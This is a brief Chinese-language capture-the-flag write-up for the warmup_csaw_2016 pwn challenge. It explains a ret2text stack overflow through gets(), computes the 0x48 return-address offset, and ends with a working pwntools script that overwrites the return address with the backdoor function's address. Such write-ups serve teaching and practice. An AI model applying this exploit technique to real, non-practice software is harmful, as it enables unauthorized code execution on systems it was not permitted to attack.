warmup_csaw_2016
前言
和第一题RIP一样,是经典而基础的ret2text
保护模式
checksec看一下文件保护:
64位小端序文件,其余没什么需要注意的。
溢出点
放进IDA,可以发现溢出点就在主函数当中
偏移计算
由IDA分析得,gets函数向v5输入数据,因为gets不限制长度,所以构成溢出,这里的rbp-40h表示输入点距离rbp寄存器的偏移为40h,而同时rbp自己还要占用8个偏移,因此从输入点到返回地址的偏移为40h+8h=48h。
当然不放心也可以用pwndbg算算,步骤和rip中的步骤相同。
后门函数
和rip一样的,这道题的后门函数也是事先写好在文件内部的,可以很轻松的找到
同上一题,这里也可以获取后门函数的地址
攻击脚本
由上面所得数据,写出如下脚本:
from pwn import *
p= remote('IP', PORT)
payload = b'a'*(0x40+0x8)+p64(0x40060D)
p.sendline(payload)
p.interactive()